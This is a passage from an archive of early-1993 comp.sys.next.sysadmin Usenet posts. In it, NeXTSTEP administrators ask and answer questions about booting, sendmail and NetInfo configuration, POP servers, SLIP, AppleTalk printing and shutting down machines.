devices). -a will indeed ask you for the rootdevice, but you can always bsd(2,0,0)- rootdev=sd1 Note the dash and the space. You can replace the dash with 'sdmach' as well, which is what the ROM monitor does for you, assuming a SCSI disk. Be forewarned that if your root device is NOT /dev/sd0a, /etc/fstab is incorrect and when you try to do a mount -o remount,rw / in /etc/rc.boot, it ain't gonna work very well. > Zeke I've booted off of non-sd0 devices before, and I know the syntax is bsd(x,0,0) where x is the SCSI ID. The other stuff I'm extrapolating from the "nbuf" hack as I always used -a when I had to specify an alternate root partition. ------ Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted) ------ Nothing recedes like success. -- Walter Winchell
From: tvt@byteme.EBay.Sun.COM (ByteMe) Newsgroups: comp.sys.next.sysadmin Subject: HELP: Install NS 3.0 Date: 11 Jan 1993 07:26:17 GMT Organization: Sun Microsystems Inc., Mountain View, CA Distribution: na Message-ID: <1ir7epINN9qs@male.EBay.Sun.COM> Howdy, The hard disk in my slab crashed! I lost everything on that drive and cannot boot up with this drive. Fortunately, all the my projects are on a different drive. Right now, I have a NS 3.0 CDROM, CDROM drive, the floppy disk that came with 3.0 release. Is there anyway that would allow me to rebuild my internal hard disk and load it with NS 3.0? Please send your reply to tvt@byteme.EBay.Sun.COM Thank you, -tien- -----------------------------------------------
Newsgroups: comp.sys.next.sysadmin,compcomp.sys.next.software,comp.sys.next.programmer From: outland!jmast@s.ms.uky.edu (John A. Mastrolia) Subject: Re: USR V.32bis FAX Help Message-ID: <C0oC3u.6IM@outland.uucp> Sender: jmast@outland.uucp (John A. Mastrolia) Organization: Kentucky NeXT Users Group (KYNUG) References: <C0D8vy.4LB@outland.uucp> Date: Mon, 11 Jan 1993 05:19:06 GMT In article <C0D8vy.4LB@outland.uucp> outland!jmast@s.ms.uky.edu (John A. Mastrolia) writes: > I have recently upgraded my US Robotics V.32bis modem in anticipation of > the new 28,800 standard expected from CCITT soon. This included a FAX > capability in addition to the upgrade socket. Now, the big question, has > anyone had any experience using the FAX capability of this modem with > their NeXT? I'm using a NeXTStation Turbo with 3.0. Any help would be > appreciated. I posted this on 5 January and received only messages asking for me to pass on information. Again, if anyone has had any experience using this modem as their FAX, please let me know. Thanks in advance. -- John A. Mastrolia outland!johnm@ms.uky.edu
From: paul@seer.demon.co.uk (Paul Lynch) Newsgroups: comp.sys.next.sysadmin,demon.ip.support.unix Subject: INN Installation Message-ID: <1993Jan10.205013.2288@seer.demon.co.uk> Date: 10 Jan 93 20:50:13 GMT Sender: paul@seer.demon.co.uk Organization: P & L Systems (Posted on behalf of Robert Nicholson, who now has a working NeXT, but no news feed. Yet). I am currently trying to get INN up and running on a NeXT under NS3.0. I have the following questions: 1. Am I supposed to install the new syslogd (it currently will not compile) 2. With signal() defined as returning a "void" innd doesn't run. However, when I define it as returning "int" innd works but every signal() results in a warning. 3> If I just want a basic news and mail feed via SLIP to my host how do I go about setting up the configuration files. Is my type of feed a "filename" feed? 4. Do I use LOG_LOCAL7 or LOG_NEWS for syslog.conf's entry? 5. Is rnews -U the only way spooled news items can be sent? That's it... Paul -- Paul Lynch P & L Systems (NeXTmail) paul@seer.demon.co.uk Tel: (0494)671501 paull@cix.compulink.co.uk Fax: (0494)680228 76711.451@compuserve.com
Newsgroups: comp.sys.next.sysadmin Subject: Re: rc.local Message-ID: <1993Jan11.103345.14405@urz.unibas.ch> From: frank@ifi.unibas.ch (Robert Frank) Date: Mon, 11 Jan 1993 10:33:45 GMT Sender: news@urz.unibas.ch (USENET News System) References: <1993Jan8.150428.29811@neptune.inf.ethz.ch> Distribution: Distribution: Organization: Institut fuer Informatik In article <1993Jan8.150428.29811@neptune.inf.ethz.ch> writes: > Subject: > Summary: > Expires: > Sender: rpajarol@iiic.ethz.ch > Followup-To: > Distribution: Distribution: > Organization: Dept. Informatik, Swiss Federal Institute of Technology (ETH), Zurich, CH > Keywords: nppower > > > Hi people, > since I have the new NextStep3.0, over all it's very good, I can't do > some things I did bevore. > > Especially things I want to do at boot-up time. > > In NS2.1 I had entries in the rc.local to play a sound and to power the > printer off. The entries looked something like this: > > sndplay /LocalLibrary/Sounds/mysound.snd & > > .... > > nppower off > > .... > > I always had to put a sleep <some seconds> before the nppower off command in rc.local. On the 'old' station and 2.1, 3 seconds were fine, now I need 5 seconds or the printer won't turn off. -- Robert Frank tel. + (061) 321 99 67 Institut fuer Informatik fax + (061) 321 99 15 University of Basel, Switzerland Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted) CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch
Newsgroups: comp.sys.next.sysadmin From: rpajarol@iiic.ethz.ch (Renato Bruno Pajarola) Subject: Re: rc.local Message-ID: <1993Jan11.120452.28087@neptune.inf.ethz.ch> Sender: rpajarol@iiic.ethz.ch Organization: Dept. Informatik, Swiss Federal Institute of Technology (ETH), Zurich, CH References: <1993Jan8.150428.29811@neptune.inf.ethz.ch> <1993Jan11.103345.14405@urz.unibas.ch> Distribution: Distribution: Date: Mon, 11 Jan 1993 12:04:52 GMT I posted the question about sndplay and nppower off in the rc.local script. I tried out the tips and the solution is in both cases: put a sleep command and then the other. (sleep 10; /usr/bin/sndplay ...) & (sleep 10; /usr/etc/nppower off) & I guess you have to wait until the loginwindow process is correctly started and then al the "services" have their correct behaviour. sndplay and nppower start now after the loginwindow appears. The printer is now "Private" after logging in, and that's what I wanted. Thanks for the tips, ------------------------------------------------------------- Name: Renato Pajarola Country: Switzerland Profession: Student in Computer Science ETH Zuerich E-Mail: rpajarol@iiic.ethz.ch There's a hell of a good universe NeXT door; let's go ...
Newsgroups: comp.sys.next.sysadmin From: kinch@valve.heart.rri.uwo.ca (Dave Kinchlea) Subject: Re: What does NeXTMail do during `undelete' command? Organization: Heart Valve Group, John P. Robarts Research Institiute, London, Ont. Canada Distribution: uwo Date: Mon, 11 Jan 1993 15:01:56 GMT Message-ID: <1993Jan11.150156.23746@julian.uwo.ca> References: <1993Jan8.180037.23392@julian.uwo.ca> Sender: news@julian.uwo.ca (USENET News System) [Following up on my own article : In article <1993Jan8.180037.23392@julian.uwo.ca>, kinch@valve.heart.rri.uwo.ca (Dave Kinchlea) writes: ] A number of people have mailed to tell me that NextMail simply updates the table_of_contents file. This I already knew but I need more details. Can someone in the know tell me about the layout of this file and/or EXACTLY what is done during the undelete command (ie: is it really updated or is a new file created? is it a holey fil? what is the structure of the file? is file locking used and if so what kind? etc). I would really like to determine what is happening to my Iris (it crashes because of an `Undelete' request from an NFS mounted NeXT) and the first order of business is to figure out what exactly is *supposed* to happen (and then try to figure out what IS happening). Thanks to those who have already sent me mail (too numerous to mention), although there was no new information given to me I appreciate the effort. cheerskinch Dave Kinchlea email: kinch@valve.heart.rri.uwo.ca Snail-mail: System Administrator/Research Programmer John P. Robarts Research Institute. P.O. Box 5015, 100 Perth Drive, London, Ont, Canada N6A 5K8 A Real Live Voice: (519)-663-5777-x4406 ".... 2 to the power 759 million to 1 and falling ..." HHGTG
From: louie@sayshell.umd.edu (Louis A. Mamakos) Newsgroups: comp.sys.next.sysadmin Subject: Re: PPP and/or SLIP drivers for a NeXTstation Turbo (sys2.2) Date: 11 Jan 1993 15:26:07 GMT Organization: The University of Maryland, College Park Message-ID: <1is3ifINNj0d@ni.umd.edu> References: <1993Jan5.160333.493@bvl.pt> In article <1993Jan5.160333.493@bvl.pt> jessica.bvl.pt!root (Operator) writes: >I'm looking for PPP or SLIP software that can be installed an our NeXT. If you can run SLIP, take a look at the port that I did, available as /pub/next/submisions/SLIP_920904.tar on sonata.cc.purdue.edu or somewhere on cs.orst.edu with the same name (SLIP_920904.tar). Louis Mamakos
Newsgroups: comp.sys.next.sysadmin From: dcheslow@impact.flint.umich.edu (David A. Cheslow) Subject: no email confirmation Message-ID: <PJg=wy+@engin.umich.edu> Date: Mon, 11 Jan 93 11:33:55 EST Organization: The University of Michigan, Ann Arbor Having two (possibly related) problems with NeXTMail. 1) No receipt is ever received (I request a read receipt, the addressee reads the message, but I never get a receipt). 2) The nodename on messages is being truncated (userid@crob.flint.umich.edu becomes userid@crob). This is OK as long as our local nameserver is running, but when it is down (or overworked), messages are sent on to its nameserver for processing and the message bounces with Host Unknown. Also - it seems to only be doing it to messages destined for the same domain (userid@infotech.tamu.edu works OK). thanks in advance -- ================================================================= *NOT* an official document of the University of Michigan - Flint ================================================================= David A. Cheslow E-Mail : dcheslow@impact.flint.umich.edu
Newsgroups: comp.sys.next.sysadmin Subject: HELP popper Message-ID: <1993Jan11.160206.3483@urz.unibas.ch> From: frank@ifi.unibas.ch (Robert Frank) Date: Mon, 11 Jan 1993 16:02:06 GMT Sender: news@urz.unibas.ch (USENET News System) Organization: Institut fuer Informatik Keywords: popper Uff! I guess I should have paied attention to all help requests about running popper on the NeXT. I am now in the position to have to run the POP 3 protocol on NeXTStep 3.0. I have some sources which will compile without problems (inserted one missing 'char' type declaration) and which will actually start. But if I try to connect to the popper (inetd and services properly configured and niloaded), it just dies without any warning or error. Debuggin is enabled, but nothing shows up in the log files. Any help would be greatly appreciated! Thank's in advance. P.S. If mail returns errors, you may asume that it arrived any way. We are currently reconfiguring our servers, which causes some problems. -- Robert Frank tel. + (061) 321 99 67 Institut fuer Informatik fax + (061) 321 99 15 University of Basel, Switzerland Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted) CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch
From: nevai@mps.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin Subject: this AppleTalk on NeXT 3.0 doesn't really work - HELP is needed! Date: 11 Jan 1993 17:47:11 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <1isbqvINNmj6@zaphod.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu Well, I installed 3.0 and AppleTalk. It's so nice to be able to print on my LaserWriter IINTX which is sitting on our AppleTalk network! (GatorBox) BUT, and BUT and BUT: I keep loosing the connection all the time and I have to reboot the CUBE to regain the connection. In addition, many times when I print the green light blinks on the LaserWriter but nothing gets printed out. Are there any confirmed bugs? What's happening? Can you please help? Please respond by email. Paul Nevai nevai@mps.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
From: gary@msu.edu (Gary J LaPointe) Newsgroups: comp.sys.next.sysadmin Subject: Re: no email confirmation Date: 11 Jan 1993 17:57:44 GMT Organization: Michigan State University Message-ID: <1isceoINNmsj@msuinfo.cl.msu.edu> >Having two (possibly related) problems with NeXTMail. I am assuming you mean Mail.app (I call it NeXTmail too) >1) No receipt is ever received (I request a read receipt, the addressee >reads the message, but I never get a receipt). I think you only get a reciept if it is read by a NeXT, and maybe only with Mail.app . If you read it with unix-mail or pine, I don't know if you get one. I'm certain I've never gotten one when sending to non-NeXTs. >2) The nodename on messages is being truncated >(userid@crob.flint.umich.edu becomes userid@crob). This is OK as long as >our local nameserver is running, but when it is down (or overworked), >messages are sent on to its nameserver for processing and the message >bounces with Host Unknown. Also - it seems to only be doing it to messages >destined for the same domain (userid@infotech.tamu.edu works OK). We had a similar problem, I think that is some bizarre stuff in your sendmail.cf file (I am assuming you mean the nodename on your return address?). It was a LOT of changes, ended up gtting one (sendmil.cf) that was configured for MSU and doing a search and replace on the domain names. Even then, stuff like PINE and TIN still goofed up the return addresses until I modified their RC files. Good Luck -- Gary J LaPointe gary@ah3.cal.msu.edu Michigan State University Center For Integrative Studies, Arts & Humanities
Newsgroups: comp.sys.next.sysadmin From: andrew@cubetech.com Subject: No ! in uucp (andrew)? Message-ID: <1993Jan11.184835.1273@cubetech.com> Organization: Cube Technologies, Inc. Date: Mon, 11 Jan 1993 18:48:35 GMT Sendmail spontaneously broke itself (what else is new?). Here's the setup, we have a mail server (imladris) to which the mail clients are forwarding mail. I do not use NeXT's netinfo mailhost junk. I just have a relay mailer setup in the clients sendmail.cf. Anyway, mail is forwaded via the ether mailer to imladris where it is spooled up to go out via uucp. The problem that has spontaneously occurred is that sendmail on imladris is getting upset that there is no ! in the Return-Path line: ----- Transcript of session follows ----- 554 No ! in UUCP! (andrew) ----- Message header follows ----- Return-Path: <andrew> Received: from valinor by cubetech.com (NX5.67c/NeXT-3.0/Cubetech-1.2) id AA14735; Mon, 11 Jan 93 12:47:08 -0600 Received: by valinor.cubetech.com (NX5.67c/NX3.0S) id AA01246; Mon, 11 Jan 93 12:47:08 -0600 Date: Mon, 11 Jan 93 12:47:08 -0600 From: Andrew Loewenstern <andrew> Message-Id: <9301111847.AA01246@valinor.cubetech.com> Received: by NeXT.Mailer (1.87.1) Received: by NeXT Mailer (1.87.1) To: andrew%cubetech.com@uu.psi.com Subject: test Reply-To: andrew@cubetech.com I hadn't changed anything when this started the other day... Any help would be appreciated. andrew -- andrew@cubetech.com | "We cannot dwell in the time that is to come, Andrew Loewenstern | lest we lose our now for a phantom of our Cube Technologies, Inc. | own design." - Erendis 0000000701B61D1ADF0DFC9C16185CEA055200000007EB4A9FEB1922065D471A89E905B5
From: szatrows@gandalf.rutgers.edu (John Kheit) Newsgroups: comp.sys.next.sysadmin Subject: NUCA Keywords: NeXT Users' Choice Awards Message-ID: <Jan.11.15.41.58.1993.23081@gandalf.rutgers.edu> Date: 11 Jan 93 20:41:59 GMT References: <1993Jan11.190510.3516@MITL.COM> Organization: Rutgers Univ., New Brunswick, N.J. N U C A NeXT Users' Choice Awards---Thanks to Conrad Geiger for the name! I will take submissions from the net until Jan 23, 1993. All you need to do is send back the form attached below with your favorite software or hardware products for 1992. The subject of the post should be Re: NUCA (or just replying to this post). Send votes to szatrows@gandalf.rutgers.edu I will post the results and maybe see about getting little trophies or ribbons made up for the winners. This is your chance to reward the great NeXT Developer community by shining some well deserved praise their way. The rules are: - You can only vote once (i.e. one vote per e-mail address). - You can vote for any product you wish; be it from NeXT, a 3rd party developer, shareware/freeware (or those tasty frosted donuts from Hostess under the 'other' category ;-) Finally I made up a logo for the winners to use (if they want to) to let everyone know that they won the NUCA. I'll put it up on both orst and nova. People can let me know if they think it stinks and if so please feel free to make your own (after all it is the U S E R S ' choice award so the users should get involved!). BTW you will need Helvetica-Black and Avant Garde (Book Oblique & Demi Oblique) to see the logo in all of its glory :-) NUCA Form below: ----------------------------------------------------------------------- 1.) Software a.) Audio : b.) Communications : c.) DataBase : d.) Developer : e.) DTP : f.) Game : g.) MultiMedia : h.) Spreadsheet : i.) Wordprocessing : j.) Utility : k.) Video : l.) Other : 2.) Overall Software Product of the Year : 3.) Hardware a.) Audio : b.) Communications : c.) Display : d.) Graphic Input : e.) Mass Storage : f.) Printing/Output : g.) Video : h.) Other : 4.) Overall Hardware Product of the Year : 5.) Overall Product of the Year : -- NeXT Campus Consultant---Rutgers, the State University of New Jersey |my %^) John Kheit/monoChrome | Opinions expressed represent me only! |fried %-) 173 Westgate Drive | Audix Voice Mail# (415) 366-0900 X5512 |brain %>) Edison, NJ 08820-1163 | kheit@hangout.rutgers.edu,szatrows@gandalf.rutgers.edu
Newsgroups: comp.sys.next.sysadmin From: andrew@cubetech.com (Andrew Loewenstern) Subject: Big Mailing lists Message-ID: <1993Jan11.190140.14889@cubetech.com> Organization: Cube Technologies, Inc. Date: Mon, 11 Jan 1993 19:01:40 GMT I have a big problem... the IXKit mailing list I maintain has gotten too large for sendmail to handle. I have tried "daisy-chaining" aliases using both NetInfo aliases and sendmail aliases, and both produce the same results. Please post or send me info on how to create large aliases... thanks in advance, andrew -- andrew@cubetech.com | "We cannot dwell in the time that is to come, Andrew Loewenstern | lest we lose our now for a phantom of our Cube Technologies, Inc. | own design." - Erendis 0000000701B61D1ADF0DFC9C16185CEA055200000007EB4A9FEB1922065D471A89E905B5
From: wade@hobbes.ucsd.edu (Wade Blomgren) Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin Subject: csh redirection fails when run under cron Message-ID: <1isocbINNas7@network.ucsd.edu> Date: 11 Jan 93 21:21:15 GMT Followup-To: poster Organization: University of California, San Diego After upgrading to 3.0 I am having a problem with csh scripts run from cron with user ids other than root. The scripts are run, but any redirection of output from a command WITHIN the script goes to the standard output of the script, not to the target of the redirection. For example, the following script (saved in, say, /tmp/script, mode 755): #! /bin/csh echo foo > /tmp/bar run by the following crontab entry: * * * * * me /tmp/script > /tmp/script.out 2>&1 results in the word "foo" appearing in /tmp/script.out, NOT /tmp/bar. The same is true for piped output: cat /etc/hosts | grep localhost > /tmp/bar will send the entire hosts file to the output of the script, and nothing goes through the grep or into /tmp/bar. NOTE: the output files _are created_. That is to say, in the first simple example, the file /tmp/bar will exist, but it will be empty. This behavior does not seem to happen when the cron command is run as root. When the script is run from the command line by the user account it works fine. Adding additional levels of indirection (script calling a script) seems to result in all output being lost. The problem does not occur on a self contained machine in my office but it does occur on our other machines. The only significant difference between my machine and the failing machines is the failing machines are running NIS. Can anyone else running non-root csh scripts with cron who is using NIS (or not) under 3.0 comment? Am I hallucinating? Thanks for any input - I will summarize responses. Wade Blomgren wade@hobbes.ucsd.edu
Newsgroups: comp.sys.next.sysadmin From: jchin@prodigy.bc.ca (Joseph Chin) Subject: Sendmail problem - SOLVED! Message-ID: <1993Jan12.011653.12994@prodigy.bc.ca> Sender: news@prodigy.bc.ca Organization: Prodigy Technologies Corp. Date: Tue, 12 Jan 1993 01:16:53 GMT Thank you to all those who tried their best to help me solve my sendmail problem ... The problem: My NeXT began to think it was its own mailhost where it was actually a mail client to a Sun mail server ... this led to all sorts of problems such as not being able to send email to machines within the same domain. I tore apart the whole /etc directory and NetInfo databases to look for any stray entries that might have caused the NeXT to think it was a mailhost , but to no avail. Finally, after feeling sick (I caught a cold on the weekend), tired, and defeated, I realized that after I performed the 3.0 upgrade, I went through all the network configuration files and databases and cleaned up entries in NetInfo that might be "unnecessary" duplicates of NIS. In my infinite wisedom, I removed the NetInfo host entry (under /machines) for our domain's email server. Conventional wisedom would figure that if the NeXT can't find the mailhost info in NI, it would look in the flatfile databases which point to NIS where the mailhost can be found ... But no ... the smart black box decided that if there is no mailhost in NI, then the local machine must be the mailhost! Duhhhhhh!!! Anyways, the solution was pretty straight forward - add the Sun mailhost to NI - and everything has been working fine since (touch wood). Joe -- Joseph Chin Prodigy Technologies Corp. jchin@prodigy.bc.ca (NeXTmail welcome) Vancouver, British Columbia phone 16046874636 / fax 16046871671 Canada **** "Heaven won't take me and Hell's afraid I'll take over!" ****
Newsgroups: comp.unix.admin,comp.sys.next.sysadmin From: dmm0t@rincewind.mech.virginia.edu (David Meyer) Subject: monitoring a UPS from a serial port Message-ID: <1993Jan12.014929.21006@murdoch.acc.Virginia.EDU> Sender: usenet@murdoch.acc.Virginia.EDU Organization: University of Virginia Date: Tue, 12 Jan 1993 01:49:29 GMT I'm planning on buying an APC Backup-UPS 600 to use with my NeXT computer, and I could use some advice on setting it up so that my machine will shut down cleanly if the UPS battery runs low. The UPS I'm looking at has a output port which can signal that the battery is running low, but I'm not sure what kind of wiring I'd need to do in order to use it. If anyone who has had experience doing this sort of thing with this UPS, I'd really appreciate knowing how you did it. If you haven't used this particular UPS but still have a pretty good idea how such things work, I'd be grateful if you'd send me e-mail so I can ask you for help if I have problems. Many thanks, Dave -- David M. Meyer Mechanical & Aerospace Engineering dmm0t@rincewind.mech.virginia.edu University of Virginia NeXTmail ok
Newsgroups: comp.sys.next.sysadmin From: wave@waits.media.mit.edu (Michael B. Johnson) Subject: CDPlayer.app problems Message-ID: <1993Jan12.060552.29782@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory Date: Tue, 12 Jan 1993 06:05:52 GMT Hi folks. I know, I know, this thread went by and I missed it. I just went cruising through the archives (sonata & orst) and didn't see a collection of FAQs and the postings I've saved don't mention this. I've also asked around here, and this "just works" for everybody else. So, with the obligatory mea culpa out of the the way... I finally decided to plug my NeXT CD-ROM drive in and try and play some music. According to a friend, you just stick the music CD in the carrier, stick it in the drive, and CDPlayer.app will pop up. Unfortunately, it goes in and then comes back out again. Here's what's in the console: sd2 (6,0): ERROR op:0x28 sd_state:4 scsi status:0x0 cdaudio.util: CANNOT OPEN CDPlayer If anyone has any good suggestions (i.e. where to move /NextDeveloper/Demos/CDPlayer.app, or what permissions should be set on /dev/rs???), I'd be happy to hear. Thanks. -- --> Michael B. Johnson --> MIT Media Lab -- Computer Graphics & Animation Group --> (617) 253-0663 -- wave@media-lab.media.mit.edu --> NeXT Mail accepted at wave@nordine.media.mit.edu
Newsgroups: comp.sys.next.sysadmin From: yann@dagobah.fdn.org (Yann Lechelle) Subject: 'PowerOffDisabled' suggested trick... (RTF) Message-ID: <1993Jan11.214939.158@dagobah.fdn.org> Keywords: loginwindow, PowerOffDisabled, fasthalt Sender: yann@dagobah.fdn.org Organization: Individual Date: Mon, 11 Jan 1993 21:49:39 GMT POWER OFF DISABLED... THEN WHAT ????? As a paranoid system administrator, I welcomed the 'PowerOffDisabled' option from the loginwindow program. However, it is true that when such an option is set, it is not that convenient to shutdown the machine (the plug is too far under the desk !)... Reflexively, I did a 'man loginwindow'. And surprisingly enough, there were man pages for that (there wasn't any in NS 2.0). It is suggested that in such a case, root should create an account called 'power' (whatever !). They mentioned that this account should have the following default: loginwindow Workspace "/etc/fasthalt -p" My questions are the following: 1) do you have the !@*&#^!&^% fasthalt on your machine ??? I really can't find it on mine !!! 2) if it's a typo, what is the command I should use so that 'power' actually performs a shutdown without the need to be super-user (which would corrupt security greatly !). Any help would be greatly appreciated. I think the answers should be posted as it may interest many of the system administrators that we are... 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Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: 'PowerOffDisabled' suggested trick... (RTF) Message-ID: <C0qGHw.2E0@ux1.cso.uiuc.edu> Keywords: loginwindow, PowerOffDisabled, fasthalt Organization: University of Illinois at Urbana References: <1993Jan11.214939.158@dagobah.fdn.org> Date: Tue, 12 Jan 1993 08:48:54 GMT yann@dagobah.fdn.org (Yann Lechelle) writes: > POWER OFF DISABLED... THEN WHAT ????? > As a paranoid system administrator, I welcomed the >'PowerOffDisabled' option from the loginwindow program. However, it >is true that when such an option is set, it is not that convenient to > actually performs a shutdown without the need to be >super-user > (which would corrupt security greatly !). >Thanks. If you are at the console, try Cmd-~ then hit the power key. It works even if PowerOff[is]Disabled. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin From: vasco@bvl.pt (antonio vasconcelos) Subject: Re: PPP and/or SLIP drivers for a NeXTstation Turbo (sys2.2) Message-ID: <1993Jan11.204312.14666@bvl.pt> Organization: Bolsa de Valores de Lisboa References: <1is3ifINNj0d@ni.umd.edu> Date: Mon, 11 Jan 1993 20:43:12 GMT louie@sayshell.umd.edu (Louis A. Mamakos) writes: : If you can run SLIP, take a look at the port that I did, available as : /pub/next/submisions/SLIP_920904.tar on sonata.cc.purdue.edu or : somewhere on cs.orst.edu with the same name (SLIP_920904.tar). Well... Let's try it... :-) -- regards, ____ |/asco ----------------------------------------------------------------------
Newsgroups: comp.sys.next.sysadmin Subject: Re: 'PowerOffDisabled' suggested trick... (RTF) Message-ID: <1993Jan12.130150.6840@urz.unibas.ch> From: frank@ifi.unibas.ch (Robert Frank) Date: Tue, 12 Jan 1993 13:01:50 GMT Sender: news@urz.unibas.ch (USENET News System) References: <C0qGHw.2E0@ux1.cso.uiuc.edu> Organization: Institut fuer Informatik In article <C0qGHw.2E0@ux1.cso.uiuc.edu> writes: > yann@dagobah.fdn.org (Yann Lechelle) writes: > > > > POWER OFF DISABLED... THEN WHAT ????? > > > As a paranoid system administrator, I welcomed the > >'PowerOffDisabled' option from the loginwindow program. However, it > >is true that when such an option is set, it is not that convenient to > > actually performs a shutdown without the need to be > >super-user > > (which would corrupt security greatly !). > > > >Thanks. > > If you are at the console, try Cmd-~ then hit the power key. It > works even if PowerOff[is]Disabled. > -- > David Lemson (217) 244-1205 > University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin > Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson > NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD Ooo, ouch, that hurts! Now, there is a verry nice way to do this as root (iehter logged in or su'd): shutdown -h -p now and, if I'm not all wrong, this is also what can be used instead of the non-existant fasthalt! -- Robert Frank tel. + (061) 321 99 67 Institut fuer Informatik fax + (061) 321 99 15 University of Basel, Switzerland Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted) CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch
Newsgroups: comp.sys.next.sysadmin Subject: Re: Big Mailing lists Message-ID: <1993Jan12.130721.6930@urz.unibas.ch> From: frank@ifi.unibas.ch (Robert Frank) Date: Tue, 12 Jan 1993 13:07:21 GMT Sender: news@urz.unibas.ch (USENET News System) References: <1993Jan11.190140.14889@cubetech.com> Organization: Institut fuer Informatik In article <1993Jan11.190140.14889@cubetech.com> writes: > > I have a big problem... the IXKit mailing list I maintain has gotten > too large for sendmail to handle. I have tried "daisy-chaining" > aliases using both NetInfo aliases and sendmail aliases, and both > produce the same results. > > Please post or send me info on how to create large aliases... > > > thanks in advance, > andrew > -- > andrew@cubetech.com | "We cannot dwell in the time that is to come, > Andrew Loewenstern | lest we lose our now for a phantom of our > Cube Technologies, Inc. | own design." - Erendis > 0000000701B61D1ADF0DFC9C16185CEA055200000007EB4A9FEB1922065D471A89E905B5 Try the undocumented include feature: (documented on suns ...) (It works for Ultrix too, I'm just [right today] testing it on the NeXT) The syntax for the aliases file: <alias-name>: :include:<path and file name> In NetInfo add a new value with the syntax: :include:<path and file name> where the values in <> are to be set appropriately. Then enter all the names/addresses, one per line, into the file specified by <path and file name>. Sendmail will then parse the file - so you don't even need to rebuild the aliases when you make changes! -- Robert Frank tel. + (061) 321 99 67 Institut fuer Informatik fax + (061) 321 99 15 University of Basel, Switzerland Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted) CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch
Newsgroups: comp.sys.next.sysadmin,bit.listserv.novell From: cowboy@trans.csuohio.edu (Joe Rosenfeld) Subject: problems with NFS name space and NeXTStep 3.0 computer Message-ID: <1993Jan12.140311.22836@news.csuohio.edu> Sender: news@news.csuohio.edu (USENET News System) Organization: Cleveland State University Date: Tue, 12 Jan 1993 14:03:11 GMT I recently (just now) set up my netWare 3.11 file server with the NFS.NAM and NUC.NLM combo. First, I loaded the NFS.NAM module, successfully, it said. Then I did the command: add name space nfs to volume apps. This also seemed to work. When I type: add name space at the remote console, I get : Loaded name spaces are: DOS MAC NFS Next, I added two files to sys:etc. They are hfsusers and nfsgroup. I inserted my NeXT numerical id and the corresponding NetWare userid, such as: 108 joer I added in nfsgroup: 20 staff When I get on my NeXT and log into the NetWare server via the client and try to transfer files, however, I get rejected if the file name is longer than the DOS module. Of course the same thing occurs on a PC. Would like to store longer file names on the NetWare 3.11 file server, and I would deeply appreciate any assistance that can be offered in this matter. Please reply by email. I would be glad to summarize, if a solution is discovered. Thanks! Joe -- | Joe Rosenfeld cowboy@trans.csuohio.edu | CSU Law Library joer@inca.law.csuohio.edu | "We look for things ... to make us go!"
Newsgroups: comp.sys.next.sysadmin From: vasco@bvl.pt (antonio vasconcelos) Subject: Re: HELP popper Message-ID: <1993Jan12.100501.2904@bvl.pt> Organization: Bolsa de Valores de Lisboa References: <1993Jan11.160206.3483@urz.unibas.ch> Date: Tue, 12 Jan 1993 10:05:01 GMT frank@ifi.unibas.ch (Robert Frank) writes: : to the popper (inetd and services properly configured and niloaded), it just : dies without any warning or error. Debuggin is enabled, but nothing shows up in : the log files. What about /etc/syslog.conf ??? Have you add the propper lines ? This is the line I added to mine, (under NS 2.2) local0.notice;local0.debug /usr/spool/mqueue/POPlog Have o tried: telnet localhost 110 The popper should show up and send a message to your terminal, you can end the connection just typing 'quit' (no quotes) and ENTER. Like this... *********************************************************** ~> telnet localhost 110 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. +OK UCB Pop server (version 1.7b1) at jessica.bvl.pt starting. quit +OK Pop server at jessica.bvl.pt signing off. Connection closed by foreign host. ~> *********************************************************** If the popper don't show up, try telnet to port 109, 109 is the pop2 port, maybe your /etc/services is not correct. (Or maybe is something with NS 3.0, in that case, forget everything I said... I don't know nothing about it). : Any help would be greatly appreciated! Thank's in advance. I hope this helps... -- regards, ____ |/asco ----------------------------------------------------------------------
From: roy@prism.gatech.EDU (Roy Mongiovi) Newsgroups: comp.sys.next.sysadmin Subject: Re: 'PowerOffDisabled' suggested trick... (RTF) Message-ID: <79858@hydra.gatech.EDU> Date: 12 Jan 93 15:24:29 GMT References: <C0qGHw.2E0@ux1.cso.uiuc.edu> <1993Jan12.130150.6840@urz.unibas.ch> Organization: Georgia Institute of Technology Since NeXTs automatically know whether or not to check disks (if the system halted gracefully or not), there's no need to "fasthalt". "/usr/etc/halt" is fine. -- Roy J. Mongiovi Systems Support Specialist Information Technology Georgia Institute of Technology Tough are the souls that tread the knife's edge Atlanta, Georgia 30332-0715 J. Tull roy@prism.gatech.edu
